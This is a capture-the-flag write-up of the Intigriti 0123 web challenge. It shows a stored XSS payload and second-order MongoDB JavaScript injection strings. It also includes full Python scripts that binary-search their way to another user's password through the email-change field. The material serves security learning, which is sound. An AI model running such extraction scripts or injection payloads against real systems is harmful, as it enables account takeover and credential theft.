Intigriti Challenge 0123 — Writeup

Antonio
9 min readJan 20, 2023

--

This writeup is about the Intigriti Challenge on https://challenge-0123.intigriti.io/. The other Intigriti monthly challenges were about XSS, this challenge is different since we have to find the password from a user by exploiting a vulnerability on the server.

Reconnaissance and Enumeration

We start by using the website as a normal user. First of all, we start searching for users by using the searchbox shown above. If we submit a username of an existing user, for example “JacquesPhil”, the text “JacquesPhil has NUMBER_OF_FRIENDS friends” is shown. If we submit the form with an username that is not registered on the website, the text “undefined has undefined friends“ is shown.

We look at the source of the page and see that the text is added by the following JavaScript code and we also note that there is an “/api/friends?q=” endpoint from which the username and the number of friends are queried:

      document.getElementById("form").addEventListener("submit", (e) => {
e.preventDefault();
let xhr = new XMLHttpRequest();
xhr.open("GET", "/api/friends?q=" + document.getElementById("search").value);
xhr.onload = () => {
let user = JSON.parse(xhr.responseText);
if (user) {
document.getElementById("result").classList.remove("hidden");
} else {
document.getElementById("result").classList.add("hidden");
}
document.getElementById("result").innerHTML = `<p><b>${user.username}</b> has <b>${user.friends}</b> friends</p>`;
};
xhr.send();
});

Then, we try to log in and observe that if we insert a nonexistent username, a new account is created and a cookie “session” containing a JWT is set. We use https://jwt.io/ for decoding the content of the JWT: { “username”: “YOUR_USERNAME”}

Now, we test whether the username we have created can be found by using the searchbox from before and see that it works correctly.

After logging in, we are also redirected to a page containing the following form:

We insert an email address and submit the form. Then, we create a second account and change the email address to the same email address we have used for the first account. We observe an interesting behavior: If we insert the second username in the searchbox shown on the first image and submit the form, the username of the first user is shown instead of the username of the second user.

Now, we test whether the signature of the JWT session cookie is checked correctly. We try to modify the content of the session cookie and also to remove the signature for bypassing authentication, but it does not work.

Then, we insert the payload ‘“\/$[].> in the searchbox and in the login form. We do not get any errors, but we see that the usernames shown on the search page are not escaped.

Now, we test whether we can use the last finding for XSS. We create a new account with the XSS payload <img src=x onerror=alert()> and a random password and change the email address. Then, we create another account with a simple username without any payloads and change its email address to the same email address of the account with the XSS payload as the username. We insert the second username in the searchbox shown on the first image above, submit the form and an alert box shows up. Furthermore, we observe that we can also create an account with an empty username and that usernames are case-sensitive.

We continue by testing the “Change Email” functionality. The type of the textbox shown in the second image above is set to “email” which prevents us to sent payloads which are not valid email addresses. Therefore, we change it to “text” by using the developer tools from the browser. We submit the ‘“\/$[].> payload and a box containing the text “Wrong email format“ appears. Then, we insert a valid email address and the same payload from above after the email address, submit it and the text “Email updated” appears on the page. So, the web application only checks whether the first part of the input contains an email address.

We submit the username in the searchbox, but the search functionality does not work. We open the developer tools and observe that the server responded with an HTTP 500 error to the query on the “/api/friends” endpoint. We test which of the characters from the payload has caused the error by testing them separately and we see that backslashes at the end of the payload can cause the HTTP 500 error and if a backslash is used elsewhere in the payload, the “/api/friends” endpoint responds with “null”. This can happen since backslashes are used for escaping characters and the email address seems to be used in a second query on the server.

The first query finds the email address of the user “/api/friends” specified by the value from the “q” parameter. The second query finds the data of the user by using the email address found by the first query.

If the backslash is at the end of the payload the double quotes of the string on the server is escaped and it causes the HTTP 500 error. Furthermore, adding double quotes after the email address causes the “/api/friends” endpoint to respond with an HTTP 500 error.

Exploiting the vulnerabilities

Now, we proceed and try to exploit the second order injection vulnerability. From the behavior we discovered above, it might be that JavaScript is used on the server. We continue verifying it with the following email addresses: EMAIL_ADDRESS“ + ” and EMAIL_ADDRESS“ + “”.toString() + “

We use the form with the searchbox again and the searching functionality works correctly for the account we changed the email address, so the server seems to use JavaScript.

Now, we need to determine which backend the web application uses.

On Twitter there are two hints:

First hint:

The administrator of the database kept on yelling a fruit’s name to me. What does he mean?

Second hint:

We’ve just heard that the database manager went to a fast food restaurant, ordered food, ate it, and then placed a SECOND order?

The answer of the first tweet seems to be Mango which could be a hint for MongoDB. The second hint could be the second order injection vulnerability we found.

The server probably uses the MongoDB “findOne” method. It seems that we only have a boolean-based second order injection, so we write the following Python script that uses a binary search algorithm for getting the property names of the objects with “Object.getOwnPropertyNames” from the server and for verifying that the web application uses MongoDB:


import requests

url = "https://challenge-0123.intigriti.io/"
email = "a@example.org"
username1 = "user1"
user1_session_cookie = "SESSION_COOKIE1"
username2 = "user2"
user2_session_cookie = "SESSION_COOKIE2"

user1_email = email+'true'
print ("user1 email: %s" %user1_email)
response = requests.post("%s/editor.html" %url,
data = {"email": user1_email},
cookies = {"session": user1_session_cookie})

obj = "this"
#obj = "Object.getPrototypeOf(this)"

def send(payload):
response = requests.post("%s/editor.html" %url, data = {"email": payload},
cookies={"session": user2_session_cookie})
response = requests.get("%s/api/friends?q=%s" %(url, username2),
cookies={"session": user2_session_cookie})
return "%s" %username1 in response.text

object_properties = None

def get_properties_length(obj):
minIndex = 0
maxIndex = 255
index = minIndex+(maxIndex-minIndex)//2
while minIndex<=maxIndex:
user2_email = email+'"+(Object.getOwnPropertyNames(%s).length<%d)+"' %(obj, index)
print(user2_email)
if send(user2_email):
maxIndex = index-1
else:
user2_email = email+'"+(Object.getOwnPropertyNames(%s).length==%d)+"' %(obj, index)
if send(user2_email):
print ("length %d" %index)
return index
else:
minIndex = index+1
index = minIndex+(maxIndex-minIndex)//2
return None

def get_property_length(obj, i):
minIndex = 0
maxIndex = 255
index = minIndex+(maxIndex-minIndex)//2
while minIndex<=maxIndex:
user2_email = email+'"+(Object.getOwnPropertyNames(%s)[%d].length<%d)+"' %(obj, i, index)
print(user2_email)
if send(user2_email):
maxIndex = index-1
else:
user2_email = email+'"+(Object.getOwnPropertyNames(%s)[%d].length==%d)+"' %(obj, i, index)
if send(user2_email):
print ("length %d" %index)
return index
else:
minIndex = index+1
index = minIndex+(maxIndex-minIndex)//2
return None

object_properties = get_properties_length(obj)

def get_property_char (obj, i, j):
minIndex = 0
maxIndex = 127
index = minIndex+(maxIndex-minIndex)//2
while minIndex<=maxIndex:
user2_email = email+'"+(Object.getOwnPropertyNames(%s)[%d].charCodeAt(%d)<%d)+"' %(obj, i, j, index)
print(user2_email)
if send(user2_email):
maxIndex = index-1
else:
user2_email = email+'"+(Object.getOwnPropertyNames(%s)[%d].charCodeAt(%d)==%d)+"' %(obj, i, j, index)
if send(user2_email):
print ("char %c" %index)
return chr(index)
else:
minIndex = index+1
index = minIndex+(maxIndex-minIndex)//2
return None

for i in range(0, object_properties):
text = ""
for j in range(0, get_property_length(obj, i)):
text += get_property_char (obj, i, j)
print(text)

For using the script above the user with the first session ID has to be created before the user with the second session ID. The script above sets the email address of the first user to a@example.orgtrue and the email address of the second user to a@example.org”+BOOLEAN_CONDITION. So, when we query the second username from the “/api/friends” endpoint and the condition is satisfied, the string containing the email address with the boolean condition is evaluated to a@example.orgtrue. The second query performed by the web application on the server uses that email address and the server responds with the data of the first user. Later, we see that the script can be simplified so that we only need one session cookie.

For the object referenced by the “this” keyword, we get the properties “_id”, “username”, “password”, “friends“ and “email”. For “Object.getPrototypeOf(this)”, we observe that the object contains a property “_bson”. We also list the properties of “Object.getOwnPropertyNames(Object.getPrototypeOf(this._bson))” that contains a “toSource” property, which is a function available on some versions of SpiderMonkey. So, we can be sure that the web application uses MongoDB, since it uses the BSON format and it also uses SpiderMonkey as its JavaScript engine.

We modify the Python script so that we can get strings from the server instead of the properties of objects:


import requests

url = "https://challenge-0123.intigriti.io/"
email = "a@example.org"
username1 = "user1"
user1_session_cookie = "SESSION_COOKIE1"
username2 = "user2"
user2_session_cookie = "SESSION_COOKIE2"

user1_email = email+'true'
print ("user1 email: %s" %user1_email)
response = requests.post("%s/editor.html" %url,
data = {"email": user1_email},
cookies = {"session": user1_session_cookie})

obj = "JSON.stringify(this)"
#obj = "JSON.stringify(this._bson)"
#obj = "this._bson.toSource()"
#obj = "version()"

def send(payload):
response = requests.post("%s/editor.html" %url, data = {"email": payload},
cookies={"session": user2_session_cookie})
response = requests.get("%s/api/friends?q=%" %(url, username2),
cookies={"session": user2_session_cookie})
return "%s" %username1 in response.text

object_properties = None

def get_object_length(obj):
minIndex = 0
maxIndex = 1000
index = minIndex+(maxIndex-minIndex)//2
while minIndex<=maxIndex:
user2_email = email+'"+(%s.length<%d)+"' %(obj, index)
print(user2_email)
if send(user2_email):
maxIndex = index-1
else:
user2_email = email+'"+(%s.length==%d)+"' %(obj, index)
if send(user2_email):
print ("length %d" %index)
return index
else:
minIndex = index+1
index = minIndex+(maxIndex-minIndex)//2
return None

def get_obj_char (obj, i):
minIndex = 0
maxIndex = 127
index = minIndex+(maxIndex-minIndex)//2
while minIndex<=maxIndex:
user2_email = email+'"+(%s.charCodeAt(%d)<%d)+"' %(obj, i, index)
print(user2_email)
if send(user2_email):
maxIndex = index-1
else:
user2_email = email+'"+(%s.charCodeAt(%d)==%d)+"' %(obj, i, index)
if send(user2_email):
print ("char %c" %index)
return chr(index)
else:
minIndex = index+1
index = minIndex+(maxIndex-minIndex)//2
return None

text = ""
for i in range(0, get_object_length(obj)):
text += get_obj_char (obj, i)
print(text)

We also use “version()” for getting the version of MongoDB which is “4.0.28”, but we could not find a vulnerability we could use, and we also dump the content of the object referenced by the “this” keyword.

Getting the flag

As stated above the web application seems to perform the queries with the “findOne” method. We assume that the second query performed by the “/api/friends” endpoint is similar to the query in the following pseudo-code:

findOne('this.email === "EMAIL_ADDRESS_FROM_FIRST_QUERY"')

So, we can satisfy the condition by using logical OR operators in our payload. Then, we also get the first user in the database by using the following payload and searching the username we have created on the search page: EMAIL_ADDRESS“ || true || ”

From the challenge description we know that the flag starts with “INTIGRITI”.

By changing the email address of our account to EMAIL_ADDRESS“ || this.password.startsWith(“INTIGRITI”) || “ and querying the search page again with the username of our account, we get that the account containing the flag is “PinkDraconian”.

For getting the length of the password and extracting the chars of the password we use the following payloads in our Python script:

email+'" || this.username === "%s" && this.password.length < %d || "' %(username, index)
email+'" || this.username === "%s" && this.password.length === %d || "' %(username, index)
email+'" || this.username === "%s" && this.password.charCodeAt(%d) < %d || "' %(username, i, index)
email+'" || this.username === "%s" && this.password.charCodeAt(%d) === %d || "' %(username, i, index)

import requests

url = "https://challenge-0123.intigriti.io/"
username = "PinkDraconian"
email = "username@example.org"
username_from_session_cookie = "YOUR_USERNAME"
user_session_cookie = "SESSION_COOKIE"

def send(payload):
response = requests.post("%s/editor.html" %url, data = {"email": payload},
cookies={"session": user_session_cookie})
response = requests.get("%s/api/friends?q=%s" %(url, username_from_session_cookie),
cookies={"session": user_session_cookie})
return "%s" %username in response.text

def get_password_length():
minIndex = 0
maxIndex = 255
index = minIndex+(maxIndex-minIndex)//2
while minIndex<=maxIndex:
user_email = email+'" || this.username === "%s" && this.password.length < %d || "' %(username, index)
print(user_email)
if send(user_email):
maxIndex = index-1
else:
user_email = email+'" || this.username === "%s" && this.password.length === %d || "' %(username, index)
if send(user_email):
print ("length %d" %index)
return index
else:
minIndex = index+1
index = minIndex+(maxIndex-minIndex)//2
return None

def get_password_char (i):
minIndex = 0
maxIndex = 127
index = minIndex+(maxIndex-minIndex)//2
while minIndex<=maxIndex:
user_email = email+'" || this.username === "%s" && this.password.charCodeAt(%d) < %d || "' %(username, i, index)
print(user_email)
if send(user_email):
maxIndex = index-1
else:
user_email = email+'" || this.username === "%s" && this.password.charCodeAt(%d) === %d || "' %(username, i, index)
if send(user_email):
print ("char %c" %index)
return chr(index)
else:
minIndex = index+1
index = minIndex+(maxIndex-minIndex)//2
return None

text = ""
for i in range(0, get_password_length()):
text += get_password_char (i)
print(text)

Finally, we improve the last Python script as shown above so that we only need the session cookie from one user, adapt it for finding the password of the user and find the flag.

Unlisted

--

--